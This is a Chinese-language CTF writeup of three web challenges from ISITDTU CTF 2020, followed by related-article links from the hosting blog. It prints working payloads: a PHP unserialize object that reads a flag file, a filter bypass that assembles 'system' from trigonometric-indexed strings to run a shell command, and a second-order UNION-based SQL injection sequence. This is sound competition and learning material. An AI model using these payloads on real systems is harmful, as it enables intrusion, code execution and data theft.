ISITDTU CTF 2020 部分Web题目Writeup
周末,跟着m3w师傅打ISITDTUCTF,m3w师傅带弟弟上分,Tql!
Web1
给了源码:
<?php
class Read{
public $flag;
public function __wakeup(){
echo file_get_contents($this->flag);
}
}
if(isset($_GET['username'])){
if(isset($_GET['password']))
{
$password = $_GET['password'];
unserialize($password);
}
}
highlight_file(__FILE__);
?>
考点:找flag文件+反序列化+文件包含
后面的利用很快就构造好了,利用类反序列化时触发__wakeup魔术方法,将flag文件包含进去。
Payload.php
<?php
class Read{
public $flag = 'index.php';
}
$a = new Read();
echo serialize($a);
?>
不过flag文件一直找不到,尝试了几个常用的地方也没有。后来发现还有存在一个robots.txt的文件,其中给了flag为fl4g.php
Payload:?username&password=O:4:"Read":1:{s:4:"flag";s:8:"fl4g.php";},查看源码即可。
Web2
还是给出了源码:
<?php
// error_reporting(E_ALL);
// ini_set('display_errors', '1');
function trigonometric_check($code) {
// Check length
if (strlen($code) >= 0x100) {
return false;
}
// Trim code
$code = preg_replace("/(\\s|\\r|\\n|\\t)/", " ", $code);
// Danger keyword
$blacklist = array("`", "\\$", "include", "require", "#");
foreach ($blacklist as $b) {
if(preg_match("/($b)/i", $code, $m)) {
return false;
}
}
// Fillter function
preg_match_all("/([a-zA-Z]+)[\\s\\t\\r\\n\/\*]*\(/", $code, $match);
$trigonometric_functions = array("sin", "asin", "cos", "acos", "tan", "atan");
// Missing trigonometric function
if (count($match[1]) === 0) {
return false;
}
// Only trigonometric function
foreach($match[1] as $func) {
if (!in_array($func, $trigonometric_functions)) {
return false;
}
}
return true;
}
function trigonometric($code) {
if (!trigonometric_check($code)) {
echo "Error!";
return;
}
echo eval("echo ".$code.";");
}
$input = $_POST["input"];
if (!isset($input)) {
highlight_file(__FILE__);
exit;
}
trigonometric($input);
?>
通过查看源码,进行了四层过滤,分别是:对长度进行限制、将一些转义的特殊字符置空,过滤一份黑名单,一份可用函数的白名单。
想了很久,没有思路,这时候m3w师傅给了一串字符串:(''.[])[sin(0)],找到了A,然后通过测试发现对字符串加入内容,可以返回第一个字符,如('b')[sin(0)]——>b,通过这个方法就可以拼接字符串,然后getshell了
Payload:input=((("s")[sin(0)]).(("y")[sin(0)]).(("s")[sin(0)]).(("t")[sin(0)]).(("e")[sin(0)]).(("m")[sin(0)]))((("n")[sin(0)]).(("l")[sin(0)]).((" ")[sin(0)]).(("*")[sin(0)]))
对(''.[])[sin(0)]的思考:
拆成两个部分:''.[]和[sin(0)]
前半部分是通过强转换的方式将''和[]进行拼接,[]会变成Array,而前面是空字符,所以拼接完之后的字符串是Array
后半部分sin(0)取值是0,所以是[0]
两个拼接起来后就是取了A,有一种C语言字符串取值的感觉了,最后优化一下,可以改成:'A'[sin(0)]
后来,Firebasky师傅问了一个"ab"[[0]]为啥输出的是b,测试一下:
$a = array();
$b = array('1');
var_dump("abc"[$a]);
var_dump("abc"[$b]);
#输出
string(1) "a"
string(1) "b"
var_dump("abc"[[]]);
var_dump("abc"[[0]]);
#输出
string(1) "a"
string(1) "b"
如果[]中是数组且有值的,那就会转成"abc"[1];而如果[]中是数组但没有值的,那就会转成"abc"[0]。因为自己水平有限,实在无法继续向下分析了,只能当个trick记住了,5555~,要是有懂的师傅请指点一下我!
Web3 child sql
有三个页面,分别是login.php、register.php、index.php(需要登陆了才看得到)
一开始找注入点,就毫无头绪。在登陆和注册页面疯狂尝试,无果。m3w师傅又来提醒我了,说是二次注入回显在index.php界面。发现了注入点在注入页面的用户名上。其实自己应该发现的,因为当时曾经用了username = "atao' or 1#"但是返回的不是atao而是1111,还以为是网站的问题,原来是菜蒙蔽了双眼。
Payload
判断列数:atao' order by 1#
回显库名:-1' union select database()#
回显表名:-1' union select group_concat(table_name) from information_schema.tables where table_schema= database()#
回显列名:-1' union select group_concat(column_name) from information_schema.columns where table_schema= database() and table_name='flag'#
回显数据:-1' union select flag from flag#
注:邮箱需要一直换一下
另外两题Web,一个是Powershell的trick,还有一个好像环境有问题。要是啥时候能用了在复现一下。周末又是膜m3w师傅!!!感谢大师傅带我打比赛。
本文作者:erR0Ratao
本文链接:https://www.cnblogs.com/erR0Ratao/p/13801674.html
ISITDTU CTF 2020 部分Web题目Writeup的更多相关文章
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- CTF实验吧-WEB题目解题笔记(1)简单的登陆题
1.简单的登陆题 解题链接: http://ctf5.shiyanbar.com/web/jiandan/index.php Burp抓包解密 乱码,更换思路.尝试id intruder 似乎也没什 ...
- 三叶草极客大挑战2020 部分题目Writeup
三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...
- 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup
2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 31C3 CTF web关writeup
0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/w ...
- ctf题目writeup(7)
2019.2.10 过年休息归来,继续做题. bugku的web题,地址:https://ctf.bugku.com/challenges 1. http://123.206.87.240:8002/ ...
- ctf题目writeup(4)
2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: ...
- ctf题目writeup(9)
继续刷题,找到一个 什么 蓝鲸安全的ctf平台 地址:http://whalectf.xin/challenges (话说这些ctf平台长得好像) 1. 放到converter试一下: 在用十六进制转 ...
随机推荐
- Sectigo邮件签名证书安装指南
本篇将详细讲解如何在邮箱客户端安装Sectigo 邮件签名证书. 请先准备好您的邮件签名证书.如已签发未导出,请参照如何导出邮件签名证书的步骤完成准备工作. 本文将以Outlook 邮箱系统为例,在其 ...
- vue知识点13
知识点归纳整理如下: 组件 component 1.页面中的一部分,可以复用, 本质上是一个拥有预定义选项的一个 Vue 实例 2.使用 1)定义 ...
- linux 查看nginx的安装路径等信息
做个随笔,记录一下. 想查看nginx的配置文件,但不知道nginx是安装在哪个目录下? ps -ef | grep nginx Linux在启动一个进程时,系统会在/proc下创建一个以PID命名的 ...
- 【手摸手,带你搭建前后端分离商城系统】03 整合Spring Security token 实现方案,完成主业务登录
[手摸手,带你搭建前后端分离商城系统]03 整合Spring Security token 实现方案,完成主业务登录 上节里面,我们已经将基本的前端 VUE + Element UI 整合到了一起.并 ...
- Abductive Commonsense Reasoning —— 溯因推理
Abductive Commonsense Reasoning(溯因推理) 介绍 溯因推理是对不完全观察情境的最合理解释或假设的推论. 上图给出的是一个简明扼要的例子: 给定不同时间节点上的情境观测值 ...
- AWS Lambda 借助 Serverless Framework,迅速起飞
前言 微服务架构有别于传统的单体式应用方案,我们可将单体应用拆分成多个核心功能.每个功能都被称为一项服务,可以单独构建和部署,这意味着各项服务在工作时不会互相影响 这种设计理念被进一步应用,就变成了无 ...
- BadBoy+JMeter应用过程中遇到的问题汇总
前几天对HTTPS协议的系统做压力测试,用LoadRunner录制脚本过程中,系统登录后跳转的页面一直加载不出来,试了很多办法没解决这个问题.转而利用BadBoy+JMeter进行压测.以下为在运用B ...
- STM32入门系列-STM32时钟系统,自定义系统时钟
在时钟树的讲解中我们知道,通过修改PLLMUL中的倍系数值(2-16)可以改变系统的时钟频率.在库函数中也有对时钟倍频因子配置的函数,如下: void RCC_PLLConfig(uint32_t R ...
- 4G DTU无线数据透明传输终端
4G DTU是基于4G网络的远程无线数据透明传输终端,是一种物联网无线数据传输设备,使用公用运营商的4G网络为用户提供无线远距离数据传输功能,使用工业级32位的高性能通信处理器和工业级无线模块,以嵌入 ...
- Redis事务使用方法
Redis事务 Redis事务是一组命令的集合,也是Redis的最小执行单位之一.一个事务的所有命令,要么都执行,要么都不执行.Redis能保证事务执行期间不会有其他命令插入. 相关命令 命令 格式 ...